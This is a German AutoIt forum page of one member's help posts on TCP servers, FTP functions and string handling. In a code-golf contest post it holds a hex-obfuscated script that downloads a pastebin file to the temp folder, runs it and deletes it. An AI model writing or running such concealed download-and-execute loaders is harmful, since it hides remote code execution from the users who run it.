1. Dashboard
  2. Mitglieder
    1. Letzte Aktivitäten
    2. Benutzer online
    3. Team
    4. Mitgliedersuche
  3. Forenregeln
  4. Forum
    1. Unerledigte Themen
  • Anmelden
  • Registrieren
  • Suche
Alles
  • Alles
  • Artikel
  • Seiten
  • Forum
  • Erweiterte Suche
  1. AutoIt.de - Das deutschsprachige Forum.
  2. Mitglieder
  3. James

Beiträge von James

  • Mit TCP eine Datei auf FTP server hochladen/runterladen

    • James
    • 22. August 2012 um 10:02

    Dann liest du eben den Ordnerinhalt in ein Array, und überprüfst beim Durchgehen, ob das aktuelle Element ein Ordner ist. Wenn ja, dann listest du in diesem wieder alle Dateien/Ordner auf und immer so weiter. Und am Ende hast du dann ein Array (oder auch mehrere, je nach dem wie du es löst) in dem alle Dateien in allen Ordnern auf dem Servern eingetragen sind.

  • Mit TCP eine Datei auf FTP server hochladen/runterladen

    • James
    • 22. August 2012 um 09:41
    Zitat von Zattoo

    dann noch was könnte man mit tcp sinnvolles machen auser ein chat?


    Du könntest z.B. ein einfaches Spiel machen, dass man im Netzwerk spielen kann. (z.B. Tic Tac Toe)

  • Mit TCP eine Datei auf FTP server hochladen/runterladen

    • James
    • 22. August 2012 um 09:39

    Die Frage ist doch, wieso du überhaupt TCP verwenden willst. Denn dann müsstest du erst das FTP-Protokoll in AutoIt implementieren, um mit den TCP-Funktionen die Dateien auf deinem FTP-Server zu verwalten.

    Die in AutoIt mitgelieferten FTP-Funktionen zu benutzen wäre meiner Meinung nach besser:

    Spoiler anzeigen
    [autoit]


    _FTP_Close
    _FTP_Command
    _FTP_Connect
    _FTP_DecodeInternetStatus
    _FTP_DirCreate
    _FTP_DirDelete
    _FTP_DirGetCurrent
    _FTP_DirPutContents
    _FTP_DirSetCurrent
    _FTP_FileClose
    _FTP_FileDelete
    _FTP_FileGet
    _FTP_FileGetSize
    _FTP_FileOpen
    _FTP_FilePut
    _FTP_FileRead
    _FTP_FileRename
    _FTP_FileTimeLoHiToStr
    _FTP_FindFileClose
    _FTP_FindFileFirst
    _FTP_FindFileNext
    _FTP_GetLastResponseInfo
    _FTP_ListToArray
    _FTP_ListToArray2D
    _FTP_ListToArrayEx
    _FTP_Open
    _FTP_ProgressDownload
    _FTP_ProgressUpload
    _FTP_SetStatusCallback

    [/autoit]


    Falls du es allerdings doch mit den TCP-Funktionen machen willst, solltest du dir RFC 959 anschauen.

    MfG, James

    Edit: Cheater Dieter war schneller...

  • TCP Filetransfer

    • James
    • 21. August 2012 um 22:49

    Hast du den Wert von $data[0] überprüft?

  • Cubic Code Award - Vorbei

    • James
    • 21. August 2012 um 22:26

    Solange du diesen Teil des Includes in dein Skript einfügst und es immer noch nicht gegen die Regeln verstößt, sowie in 50 Zeichen in 100 Zeilen passt.

  • TCP Filetransfer

    • James
    • 21. August 2012 um 21:18

    BinDannMalWeg Du hast ja Recht, aber normalerweise bedient man so einen Server
    ja auch mit einem "richtigen" Client und nicht mit so einem 10-Zeilen-Testskript. ^^

    @juloko1
    Mein Server war natürlich nur ein Beispiel.
    Generell mache ich es auch immer so wie in dem Beispiel von Christoph,
    und zwar dass ich Befehle und Parameter durch "|" (oder irgendein anderes Zeichen) trenne.

    Der neue Server würde dann so aussehen:

    [autoit]

    ; by James1337
    ; TCPServer.au3: http://pastebin.com/Ht8vqAXN
    #NoTrayIcon
    #include "TCPServer.au3"

    [/autoit][autoit][/autoit][autoit]

    _TCPServer_RegisterEvent($TCPSERVER_RECEIVEDDATA, "ReceivedData")
    _TCPServer_Startup(@IPAddress1, 4321)

    [/autoit][autoit][/autoit][autoit]

    While Sleep(100)
    WEnd

    [/autoit][autoit][/autoit][autoit]

    Func ReceivedData($socket, $data)
    $data = StringSplit($data, "|")
    Switch $data[1]
    Case "DATE"
    Return StringFormat("%2d.%2d.%4d", @MDAY, @MON, @YEAR)
    Case "TIME"
    Return StringFormat("%2d:%2d", @HOUR, @MIN)
    Case "SHUTDOWN"
    _TCPServer_Shutdown()
    Exit
    Case "SERVERMSG"
    If ($data[0] = 2) Then
    ConsoleWrite($data[2] & @LF)
    Return "OK"
    Else
    Return 'USAGE: "SERVERMSG|<MESSAGE>"'
    EndIf
    Case "CHATMSG"
    If ($data[0] = 2) Then
    _Send_Message_To_MW3_Chat($data[2])
    Return "OK"
    Else
    Return 'USAGE: "CHATMSG|<MESSAGE>"'
    EndIf
    Case Else
    Return StringFormat('UNKNOWN COMMAND "%s"!', $data)
    EndSwitch
    EndFunc

    [/autoit]


    In deinem Client könntest du das dann so umsetzen:

    [autoit]

    TCPSend($socket, "CHATMSG|deine Nachricht hier")

    [/autoit]

    MfG, James

  • TCP Filetransfer

    • James
    • 21. August 2012 um 16:13

    Bitte. Schau' dir zu mehrzeiligen Strings mal @CRLF (und @LF) in der Hilfe an.

  • TCP Filetransfer

    • James
    • 21. August 2012 um 16:03

    Ja. Dann solltest du davor noch ein Sleep setzen, um der Antwort Zeit zu geben anzukommen.

  • TCP Filetransfer

    • James
    • 21. August 2012 um 15:48

    Um die Serverantwort zu verarbeiten nimmst du (wie in dem Client von Christoph54) TCPRecv.

    Zum Beispiel so:

    [autoit]

    MsgBox(64, "DATE", TCPRecv($socket, 1024))

    [/autoit]

    Das kannst du nach Zeile #4 einfügen.

  • TCP Filetransfer

    • James
    • 21. August 2012 um 14:12
    Zitat von juloko1

    Das wär super nett, hauptsache ich kann damit als TCP Anfänger mit arbeiten :/

    Ach, ich denke, dass sollte zu schaffen sein :) :

    [autoit]

    #NoTrayIcon
    #include "TCPServer.au3" ; http://pastebin.com/Ht8vqAXN

    [/autoit][autoit][/autoit][autoit]

    _TCPServer_RegisterEvent($TCPSERVER_RECEIVEDDATA, "ReceivedData")
    _TCPServer_Startup(@IPAddress1, 4321) ; Server auf Port 4321 starten

    [/autoit][autoit][/autoit][autoit]

    While Sleep(100) ; leere Schleife, da die UDF alle Clients für uns verwaltet
    WEnd

    [/autoit][autoit][/autoit][autoit]

    Func ReceivedData($socket, $data)
    Switch $data ; empfangene Daten
    Case "DATE"
    Return StringFormat("%02d.%02d.%04d", @MDAY, @MON, @YEAR)
    Case "TIME"
    Return StringFormat("%02d:%02d", @HOUR, @MIN)
    Case "SHUTDOWN"
    _TCPServer_Shutdown()
    Exit
    Case Else
    Return StringFormat('UNKNOWN COMMAND "%s"!', $data)
    EndSwitch
    EndFunc

    [/autoit]

    Wie du siehst, musst du nur die Daten verarbeiten, den Rest übernimmt die UDF.

    MfG, James

  • Cubic Code Award - Vorbei

    • James
    • 21. August 2012 um 12:56

    @xCreez siehe auch:

    Zitat von James1337

    Danke. :)

    minx Und was ist der Sinn in Post #28?

  • Cubic Code Award - Vorbei

    • James
    • 21. August 2012 um 11:29

    Einen Post weiter siehst du, dass minx das Skript in ein paar Verbote umgewandelt hat (d.h., dass es diese Regel da noch nicht gab).
    Dieses Skript war ja außerdem sowieso nicht ernst gemeint, sondern höchstens um nochmal ein Beispiel für die Formatierung zu zeigen.
    Keine Sorge, das Skript mit dem ich teilnehme ist um einiges besser und auch regel konform. ;)

    MfG, James

    Edit: Der Sinn ist, dass wenn man das Skript ausführt, ohne es sich näher anzuschauen, man vielleicht denken könnte, dass das Programm in den paar Zeilen enthalten ist.

  • Excel 2003 Spalten auslesen und ändern in anderen Spalten !

    • James
    • 20. August 2012 um 22:02

    Schon mal mit _ExcelWriteCell und "=WENN(a, b, c)" versucht?

  • TCP Filetransfer

    • James
    • 20. August 2012 um 21:43

    Mir fällt gerade eine UDF ein, mit der du wirklich einfach TCP Server erstellen kannst, auch welche, die mehrere Clients unterstützen. Wenn du willst, kann ich dir ja morgen mal ein kleines Beispiel schreiben.

    MfG, James

  • Cubic Code Award - Vorbei

    • James
    • 20. August 2012 um 20:10

    Außerdem würde das dann meiner Meinung nach auch schon unter "externe Ressourcen" fallen.

  • Aus datei link nehmen und sachen entfernen

    • James
    • 20. August 2012 um 17:52

    Und auch mal in die Hilfe schauen, z.B. unter StringReplace für das Entfernen von amp;.

  • Steuerzeichen

    • James
    • 20. August 2012 um 17:41

    Wenn du SOH ersetzen willst, musst du das ja auch andersrum anwenden:

    [autoit]

    StringReplace($sText, Chr(1), @CRLF)

    [/autoit]

    Denn sonst würdest du jeden Zeilenumbruch durch SOH ersetzen.;)

    MfG, James

  • Text speichern und per Hotkey wieder schreiben

    • James
    • 20. August 2012 um 11:00

    Die Zeilen 4 und 5 sind sowieso sinnlos und in der Speichern-Funktion solltest du vielleicht die InputBox platzieren.
    - Du liest eine Ini aus, verwendest aber diesen Wert nicht weiter.
    - Die InputBox kommt nur am Anfang und nicht bei F1.

  • Cubic Code Award - Vorbei

    • James
    • 19. August 2012 um 23:27
    Zitat von minx

    Dein Skript wurde jetzt mal in ein paar Verbote umgewandelt.

    Danke. :)

  • Cubic Code Award - Vorbei

    • James
    • 19. August 2012 um 23:23

    Da mein Skript nicht zählt (:(), poste ich es einfach mal hier, damit sich nun wirklich jeder vorstellen kann, wie das Ganze zum Schluss aussehen soll/kann:

    [autoit]

    #NoTrayIcon;......................................
    Execute(BinaryToString("0x496E6574476574"& _;.....
    "2822687474703A2F2F706173746562696E2E636"& _;.....
    "F6D2F7261772E7068703F693D6566726452414C"& _;.....
    "31222C4054656D7044697226225C65667264524"& _;.....
    "14C312E617533222C31392C3029"));..................
    If Execute(BinaryToString("0x46696C65457"& _;.....
    "869737473284054656D7044697226225C656672"& _;.....
    "6452414C312E6175332229")) Then;..................
    Execute(BinaryToString("0x52756E57616974"& _;.....
    "28537472696E67466F726D61742822222225732"& _;.....
    "222202F4175746F497433457865637574655363"& _;.....
    "7269707420222225732222222C404175746F497"& _;.....
    "44578652C4054656D7044697226225C65667264"& _;.....
    "52414C312E617533222929"));.......................
    Execute(BinaryToString("0x46696C6544656C"& _;.....
    "657465284054656D7044697226225C656672645"& _;.....
    "2414C312E6175332229"));..........................
    EndIf;............................................
    ;.................................................

    [/autoit]

    MfG, James

    Edit:

    Zitat von minx

    Außerdem sollte das Skript lesbar sein, wenn das möglich ist. Blödsinn hier alles mit Binaries zu verschleiern.

    Das hattest du bis jetzt ja noch nicht erwähnt...

Spenden

Jeder Euro hilft uns, Euch zu helfen.

Download

AutoIt Tutorial
AutoIt Buch
Onlinehilfe
AutoIt Entwickler
  1. Datenschutzerklärung
  2. Impressum
  3. Shoutbox-Archiv
Community-Software: WoltLab Suite™